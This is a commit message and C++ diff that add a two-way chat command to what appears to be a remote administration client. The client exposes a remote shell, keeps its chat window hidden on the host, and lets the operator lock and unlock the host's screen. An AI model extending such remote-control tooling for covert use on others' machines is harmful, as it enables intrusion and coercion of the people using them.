Feature: Two-way remote chat (远程交谈)

Add a "远程交谈" toolbar button (placed after 连接管理) that sends COMMAND_CHAT(161) to the selected host. The host opens a sub-connection and the new CChatManager replies with TOKEN_CHAT_START(62) to open the server's existing CChat dialog. The host's chat window stays hidden until the first message or a screen-lock command arrives, and it supports server-triggered screen lock/unlock.

Co-Authored-By: deepseek-v4-pro

client/KernelManager.cpp

@@ -1153,6 +1153,20 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
         break;
     }
 
+    case COMMAND_CHAT: {   // 远程交谈（双向聊天）
+        if (!ENABLE_MESSAGE) {
+            return ResponseDisable(m_ClientObject, "CHAT", szBuffer + 1, ulLength - 1);
+        }
+        {
+            auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
+            sub->EnableSubConnAuth();   // 子连接：每次连上后自动发 TOKEN_CONN_AUTH 校验
+            m_hThread[m_ulThreadCount].p = sub;
+        }
+        m_hThread[m_ulThreadCount].user = m_hInstance;
+        m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopChatManager, &m_hThread[m_ulThreadCount], 0, NULL);;
+        break;
+    }
+
     case COMMAND_SHELL: {
         if (!ENABLE_SHELL) {
             return ResponseDisable(m_ClientObject, "SHELL", szBuffer + 1, ulLength - 1);